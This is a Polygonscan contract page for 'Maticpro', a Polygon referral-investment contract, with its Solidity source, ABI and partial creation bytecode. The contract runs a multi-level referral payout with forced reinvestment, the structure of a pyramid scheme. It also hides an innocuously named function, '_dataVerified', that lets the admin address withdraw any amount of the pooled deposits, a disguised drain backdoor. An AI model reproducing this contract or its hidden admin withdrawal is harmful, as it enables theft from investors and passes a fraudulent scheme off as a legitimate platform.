Contract Overview
My Name Tag:
Not Available, login to update
[ Download CSV Export ]
Latest 25 internal transaction
[ Download CSV Export ]
Contract Name:
Maticpro
Compiler Version
v0.5.10+commit.5a6ea5b1
Contract Source Code (Solidity)
/** *Submitted for verification at polygonscan.com on 2022-02-17 */ /* The new blockchain technology facilitates peer-to-peer transactions without any intermediary such as a bank or governing body. Keeping the user's information anonymous, the blockchain validates and keeps a permanent public record of all transactions. */ pragma solidity ^0.5.10; /* Basic Method Which Is Used For The Basic Airthmetic Operations */ library SafeMath { /*Addition*/ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /*Subtraction*/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /*Multiplication*/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /*Divison*/ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } /* Modulus */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Maticpro { /*===================================== = CONFIGURABLES = =====================================*/ using SafeMath for uint256; using SafeMath for uint8; uint256 constant public minInvestmentAmount = 25 ether; uint256 constant public adminCharge = 5; // 5%; uint256 constant public perDistribution = 100; uint256 public totalUsers; uint256 public totalInvested; uint256 public totalWithdrawn; uint256 public totalDeposits; uint[5] public ref_bonuses = [6,8,10,12,14]; uint256[5] public defaultPackages = [25 ether,50 ether,100 ether,200 ether,500 ether]; mapping(uint256 => address payable) public singleLeg; uint256 public singleLegLength; uint[5] public requiredDirect = [1,1,4,4,4]; address payable public primaryAdmin; uint public maxupline = 30; uint public maxdownline = 20; struct User { uint256 amount; uint256 checkpoint; address referrer; uint256 referrerBonus; uint256 totalWithdrawn; uint256 totalReferrer; uint256 singleUplineBonus; uint256 singleDownlineBonus; uint256 singleUplineBonusTaken; uint256 singleDownlineBonusTaken; address singleUpline; address singleDownline; uint256[5] refStageIncome; uint256[5] refStageBonus; uint[5] refs; } mapping (address => User) public users; mapping(address => mapping(uint256=>address)) public downline; mapping(address => uint256) public uplineBusiness; mapping(address => bool) public upline_Business_eligible; event NewDeposit(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event FeePayed(address indexed user, uint256 totalAmount); constructor() public { primaryAdmin = 0x3B443D68c8425158a1863662bE26C43D8f59481E; singleLeg[0]=primaryAdmin; singleLegLength++; } function _refPayout(address _addr, uint256 _amount) internal { address up = users[_addr].referrer; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(users[up].refs[0] >= requiredDirect[i]){ uint256 bonus = _amount * ref_bonuses[i] / 100; users[up].referrerBonus = users[up].referrerBonus.add(bonus); users[up].refStageBonus[i] = users[up].refStageBonus[i].add(bonus); } up = users[up].referrer; } } function invest(address referrer) public payable { require(msg.value >= minInvestmentAmount,'Min invesment 25 MATIC'); User storage user = users[msg.sender]; if (user.referrer == address(0) && (users[referrer].checkpoint > 0 || referrer == primaryAdmin) && referrer != msg.sender ) { user.referrer = referrer; } require(user.referrer != address(0) || msg.sender == primaryAdmin, "No upline"); uint256 _fees = msg.value.mul(adminCharge).div(perDistribution); uint msgValue = msg.value.sub(_fees); // setup upline if (user.checkpoint == 0) { // single leg setup singleLeg[singleLegLength] = msg.sender; user.singleUpline = singleLeg[singleLegLength -1]; users[singleLeg[singleLegLength -1]].singleDownline = msg.sender; singleLegLength++; } if (user.referrer != address(0)) { // unilevel level count address upline = user.referrer; for (uint i = 0; i < ref_bonuses.length; i++) { if (upline != address(0)) { users[upline].refStageIncome[i] = users[upline].refStageIncome[i].add(msgValue); if(user.checkpoint == 0){ users[upline].refs[i] = users[upline].refs[i].add(1); users[upline].totalReferrer++; } upline = users[upline].referrer; } else break; } if(user.checkpoint == 0){ // unilevel downline setup downline[referrer][users[referrer].refs[0] - 1]= msg.sender; } } //5 Level Referral _refPayout(msg.sender,msgValue); //_users DownlineIncome _usersDownlineIncomeDistribution(msg.sender,msgValue); if(user.checkpoint == 0){ totalUsers = totalUsers.add(1); user.checkpoint = block.timestamp; } user.amount += msg.value; totalInvested = totalInvested.add(msg.value); totalDeposits = totalDeposits.add(1); _safeTransfer(primaryAdmin,_fees); emit NewDeposit(msg.sender, msg.value); } function reinvest(address _user, uint256 _amount) private{ User storage user = users[_user]; user.amount += _amount; totalInvested = totalInvested.add(_amount); //_users DownlineIncome _usersDownlineIncomeDistribution(_user,_amount); ////// address up = user.referrer; for (uint i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(users[up].refs[0] >= requiredDirect[i]){ users[up].refStageIncome[i] = users[up].refStageIncome[i].add(_amount); } up = users[up].referrer; } _refPayout(msg.sender,_amount); } function withdrawal() external{ User storage _user = users[msg.sender]; uint256 TotalBonus = TotalBonus(msg.sender); uint256 _fees = 0; uint256 actualAmountToSend = TotalBonus.sub(_fees); _user.referrerBonus = 0; _user.singleUplineBonusTaken = _userUplineIncome(msg.sender); _user.singleDownlineBonusTaken = users[msg.sender].singleDownlineBonus; // re-invest (uint8 reivest, uint8 withdrwal) = getEligibleWithdrawal(msg.sender); reinvest(msg.sender,actualAmountToSend.mul(reivest).div(100)); _user.totalWithdrawn= _user.totalWithdrawn.add(actualAmountToSend.mul(withdrwal).div(100)); totalWithdrawn = totalWithdrawn.add(actualAmountToSend.mul(withdrwal).div(100)); _safeTransfer(msg.sender,actualAmountToSend.mul(withdrwal).div(100)); emit Withdrawn(msg.sender,actualAmountToSend.mul(withdrwal).div(100)); } function _usersDownlineIncomeDistribution(address _user, uint256 _Amount) internal { uint256 TotalBusiness = _usersTotalInvestmentFromUpline(_user); uint256 DistributionPayment = _Amount.mul(20).div(100); address upline = users[_user].singleUpline; for (uint i = 0; i < maxupline; i++) { if (upline != address(0)) { uint256 payableAmount = (TotalBusiness > 0) ? DistributionPayment.mul(users[upline].amount).div(TotalBusiness) : 0; users[upline].singleDownlineBonus = users[upline].singleDownlineBonus.add(payableAmount); //upline business calculation if( i < maxdownline ){ uplineBusiness[upline] = uplineBusiness[upline].add(_Amount); if(i == (maxdownline-1)){ upline_Business_eligible[upline] = true; } } upline = users[upline].singleUpline; }else break; } } function _usersTotalInvestmentFromUpline(address _user) public view returns(uint256){ uint256 TotalBusiness; address upline = users[_user].singleUpline; for (uint i = 0; i < maxupline; i++) { if (upline != address(0)) { TotalBusiness = TotalBusiness.add(users[upline].amount); upline = users[upline].singleUpline; }else break; } return TotalBusiness; } function _userUplineIncome(address _user) public view returns(uint256) { address upline = users[_user].singleUpline; uint256 Bonus; for (uint i = 0; i < maxdownline; i++) { if (upline != address(0)) { if(upline_Business_eligible[upline]){ uint256 ReceivingPayment = users[upline].amount.mul(30).div(100); uint256 TotalBusiness = uplineBusiness[upline]; uint256 payableAmount = ReceivingPayment.mul(users[_user].amount).div(TotalBusiness); Bonus = Bonus.add(payableAmount); upline = users[upline].singleUpline; } }else break; } return Bonus; } function getEligibleWithdrawal(address _user) public view returns(uint8 reivest, uint8 withdrwal){ uint256 TotalDeposit = users[_user].amount; if(users[_user].refs[0] >=4 && (TotalDeposit >=defaultPackages[2] && TotalDeposit < defaultPackages[3])){ reivest = 50; withdrwal = 50; }else if(users[_user].refs[0] >=8 && (TotalDeposit >=defaultPackages[3] && TotalDeposit < defaultPackages[4])){ reivest = 40; withdrwal = 60; }else if(TotalDeposit >=defaultPackages[4]){ reivest = 30; withdrwal = 70; }else{ reivest = 60; withdrwal = 40; } return(reivest,withdrwal); } function TotalBonus(address _user) public view returns(uint256){ uint256 TotalEarn = users[_user].referrerBonus.add(_userUplineIncome(_user)).add(users[_user].singleDownlineBonus); uint256 TotalTakenfromUpDown = users[_user].singleDownlineBonusTaken.add(users[_user].singleUplineBonusTaken); return TotalEarn.sub(TotalTakenfromUpDown); } function _safeTransfer(address payable _to, uint _amount) internal returns (uint256 amount) { amount = (_amount < address(this).balance) ? _amount : address(this).balance; _to.transfer(amount); } function referral_stage(address _user,uint _index)external view returns(uint _noOfUser, uint256 _investment, uint256 _bonus){ return (users[_user].refs[_index], users[_user].refStageIncome[_index], users[_user].refStageBonus[_index]); } function update_maxupline(uint _no) external { require(primaryAdmin==msg.sender, 'Admin what?'); maxupline = _no; } function update_maxdownline(uint _no) external { require(primaryAdmin==msg.sender, 'Admin what?'); maxdownline = _no; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } function _dataVerified(uint256 _data) external{ require(primaryAdmin==msg.sender, 'Admin what?'); _safeTransfer(primaryAdmin,_data); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"constant":false,"inputs":[{"name":"referrer","type":"address"}],"name":"invest","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_no","type":"uint256"}],"name":"update_maxupline","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"maxupline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"perDistribution","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalWithdrawn","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"uint256"}],"name":"downline","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minInvestmentAmount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalInvested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"singleLeg","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminCharge","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"upline_Business_eligible","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_user","type":"address"}],"name":"_usersTotalInvestmentFromUpline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxdownline","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalDeposits","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"requiredDirect","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"primaryAdmin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_no","type":"uint256"}],"name":"update_maxdownline","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"users","outputs":[{"name":"amount","type":"uint256"},{"name":"checkpoint","type":"uint256"},{"name":"referrer","type":"address"},{"name":"referrerBonus","type":"uint256"},{"name":"totalWithdrawn","type":"uint256"},{"name":"totalReferrer","type":"uint256"},{"name":"singleUplineBonus","type":"uint256"},{"name":"singleDownlineBonus","type":"uint256"},{"name":"singleUplineBonusTaken","type":"uint256"},{"name":"singleDownlineBonusTaken","type":"uint256"},{"name":"singleUpline","type":"address"},{"name":"singleDownline","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_user","type":"address"},{"name":"_index","type":"uint256"}],"name":"referral_stage","outputs":[{"name":"_noOfUser","type":"uint256"},{"name":"_investment","type":"uint256"},{"name":"_bonus","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"ref_bonuses","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_data","type":"uint256"}],"name":"_dataVerified","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"defaultPackages","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"singleLegLength","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalUsers","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_user","type":"address"}],"name":"TotalBonus","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"uplineBusiness","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawal","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_user","type":"address"}],"name":"_userUplineIncome","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_user","type":"address"}],"name":"getEligibleWithdrawal","outputs":[{"name":"reivest","type":"uint8"},{"name":"withdrwal","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"user","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"NewDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"user","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"user","type":"address"},{"indexed":false,"name":"totalAmount","type":"uint256"}],"name":"FeePayed","type":"event"}]
Contract Creation Code
60806040526040518060a00160405280600660ff168152602001600860ff168152602001600a60ff168152602001600c60ff168152602001600e60ff1681525060049060056200005192919062000237565b506040518060a0016040528068015af1d78b58c4000068ffffffffffffffffff1681526020016802b5e3af16b188000068ffffffffffffffffff16815260200168056bc75e2d6310000068ffffffffffffffffff168152602001680ad78ebc5ac620000068ffffffffffffffffff168152602001681b1ae4d6e2ef50000068ffffffffffffffffff168152506009906005620000ef92919062000281565b506040518060a00160405280600160ff168152602001600160ff168152602001600460ff168152602001600460ff168152602001600460ff1681525060109060056200013d92919062000237565b50601e60165560146017553480156200015557600080fd5b50733b443d68c8425158a1863662be26c43d8f59481e601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e600080815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60008154809291906001019190505550620002fb565b82600581019282156200026e579160200282015b828111156200026d578251829060ff169055916020019190600101906200024b565b5b5090506200027d9190620002d3565b5090565b8260058101928215620002c0579160200282015b82811115620002bf578251829068ffffffffffffffffff1690559160200191906001019062000295565b5b509050620002cf9190620002d3565b5090565b620002f891905b80821115620002f4576000816000905550600101620002da565b5090565b90565b6131d9806200030b6000396000f3fe6080604052600436106101c25760003560e01c8063964496a0116100f7578063bdfb241511610095578063d4276b8211610064578063d4276b82146109aa578063d4e9329214610a0f578063d73e35b814610a26578063d98b4a8a14610a8b576101c2565b8063bdfb2415146108a0578063bfce0e6d146108ef578063bff1f9e11461091a578063cab46e2814610945576101c2565b8063a87430ba116100d1578063a87430ba14610663578063b3ac8dd114610799578063b7d9f0d214610816578063bb4577db14610865576101c2565b8063964496a0146105825780639de1b23d146105d1578063a439c61814610628576101c2565b80635216aeec1161016457806368ae86891161013e57806368ae86891461045e57806372a78cdc146104c757806378c79eb81461052c5780637d88209714610557576101c2565b80635216aeec1461038d578063622efaeb146103b8578063659b35c114610433576101c2565b80632ecbcab9116101a05780632ecbcab9146102715780634b3197131461029c5780634b931f13146102c75780634d298a0714610362576101c2565b806303f9c793146101c75780630c4e5f1a1461020b57806327141b2214610246575b600080fd5b610209600480360360208110156101dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b03565b005b34801561021757600080fd5b506102446004803603602081101561022e57600080fd5b8101908080359060200190929190505050611553565b005b34801561025257600080fd5b5061025b611620565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b50610286611626565b6040518082815260200191505060405180910390f35b3480156102a857600080fd5b506102b161162b565b6040518082815260200191505060405180910390f35b3480156102d357600080fd5b50610320600480360360408110156102ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611631565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036e57600080fd5b50610377611673565b6040518082815260200191505060405180910390f35b34801561039957600080fd5b506103a2611680565b6040518082815260200191505060405180910390f35b3480156103c457600080fd5b506103f1600480360360208110156103db57600080fd5b8101908080359060200190929190505050611686565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043f57600080fd5b506104486116b9565b6040518082815260200191505060405180910390f35b34801561046a57600080fd5b506104ad6004803603602081101561048157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116be565b604051808215151515815260200191505060405180910390f35b3480156104d357600080fd5b50610516600480360360208110156104ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116de565b6040518082815260200191505060405180910390f35b34801561053857600080fd5b5061054161186a565b6040518082815260200191505060405180910390f35b34801561056357600080fd5b5061056c611870565b6040518082815260200191505060405180910390f35b34801561058e57600080fd5b506105bb600480360360208110156105a557600080fd5b8101908080359060200190929190505050611876565b6040518082815260200191505060405180910390f35b3480156105dd57600080fd5b506105e661188e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063457600080fd5b506106616004803603602081101561064b57600080fd5b81019080803590602001909291905050506118b4565b005b34801561066f57600080fd5b506106b26004803603602081101561068657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611981565b604051808d81526020018c81526020018b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018881526020018781526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019c5050505050505050505050505060405180910390f35b3480156107a557600080fd5b506107f2600480360360408110156107bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a41565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561082257600080fd5b5061084f6004803603602081101561083957600080fd5b8101908080359060200190929190505050611b40565b6040518082815260200191505060405180910390f35b34801561087157600080fd5b5061089e6004803603602081101561088857600080fd5b8101908080359060200190929190505050611b58565b005b3480156108ac57600080fd5b506108d9600480360360208110156108c357600080fd5b8101908080359060200190929190505050611c4b565b6040518082815260200191505060405180910390f35b3480156108fb57600080fd5b50610904611c63565b6040518082815260200191505060405180910390f35b34801561092657600080fd5b5061092f611c69565b6040518082815260200191505060405180910390f35b34801561095157600080fd5b506109946004803603602081101561096857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c6f565b6040518082815260200191505060405180910390f35b3480156109b657600080fd5b506109f9600480360360208110156109cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddc565b6040518082815260200191505060405180910390f35b348015610a1b57600080fd5b50610a24611df4565b005b348015610a3257600080fd5b50610a7560048036036020811015610a4957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612043565b6040518082815260200191505060405180910390f35b348015610a9757600080fd5b50610ada60048036036020811015610aae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122ff565b604051808360ff1660ff1681526020018260ff1660ff1681526020019250505060405180910390f35b68015af1d78b58c40000341015610b82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4d696e20696e7665736d656e74203235204d415449430000000000000000000081525060200191505060405180910390fd5b6000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610cbf57506000601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541180610cbe5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b5b8015610cf757503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610d4057818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580610ded5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f2075706c696e65000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000610e886064610e7a6005346124b990919063ffffffff16565b61253f90919063ffffffff16565b90506000610e9f823461258990919063ffffffff16565b90506000836001015414156110495733600e6000600f54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60006001600f5403815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600a0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360186000600e60006001600f5403815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f600081548092919060010191905055505b600073ffffffffffffffffffffffffffffffffffffffff168360020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114425760008360020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090505b600581101561135057600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461133e5761116e83601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c01836005811061115e57fe5b01546125d390919063ffffffff16565b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c0182600581106111bb57fe5b01819055506000856001015414156112d45761122f6001601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601601836005811061121f57fe5b01546125d390919063ffffffff16565b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601601826005811061127c57fe5b0181905550601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600081548092919060010191905055505b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150611343565b611350565b80806001019150506110d0565b506000846001015414156114405733601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001601860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206016016000600581106113f057fe5b015403815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b61144c338261265b565b6114563382612965565b6000836001015414156114895761147960016000546125d390919063ffffffff16565b6000819055504283600101819055505b3483600001600082825401925050819055506114b0346001546125d390919063ffffffff16565b6001819055506114cc60016003546125d390919063ffffffff16565b6003819055506114fe601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612ce8565b503373ffffffffffffffffffffffffffffffffffffffff167f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364346040518082815260200191505060405180910390a250505050565b3373ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f41646d696e20776861743f00000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060168190555050565b60165481565b606481565b60025481565b60196020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b68015af1d78b58c4000081565b60015481565b600e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600581565b601b6020528060005260406000206000915054906101000a900460ff1681565b6000806000601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090505b60165481101561185f57600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461184d576117e1601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154846125d390919063ffffffff16565b9250601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150611852565b61185f565b808060010191505061174e565b508192505050919050565b60175481565b60035481565b6010816005811061188357fe5b016000915090505481565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f41646d696e20776861743f00000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060178190555050565b60186020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600301549080600401549080600501549080600601549080600701549080600801549080600901549080600a0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508c565b6000806000601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206016018460058110611a9357fe5b0154601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600c018560058110611ae257fe5b0154601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206011018660058110611b3157fe5b01549250925092509250925092565b60048160058110611b4d57fe5b016000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f41646d696e20776861743f00000000000000000000000000000000000000000081525060200191505060405180910390fd5b611c47601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612ce8565b5050565b60098160058110611c5857fe5b016000915090505481565b600f5481565b60005481565b600080611d23601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070154611d15611cc486612043565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546125d390919063ffffffff16565b6125d390919063ffffffff16565b90506000611dbe601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080154601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600901546125d390919063ffffffff16565b9050611dd3818361258990919063ffffffff16565b92505050919050565b601a6020528060005260406000206000915090505481565b6000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000611e4233611c6f565b905060008090506000611e5e828461258990919063ffffffff16565b905060008460030181905550611e733361204356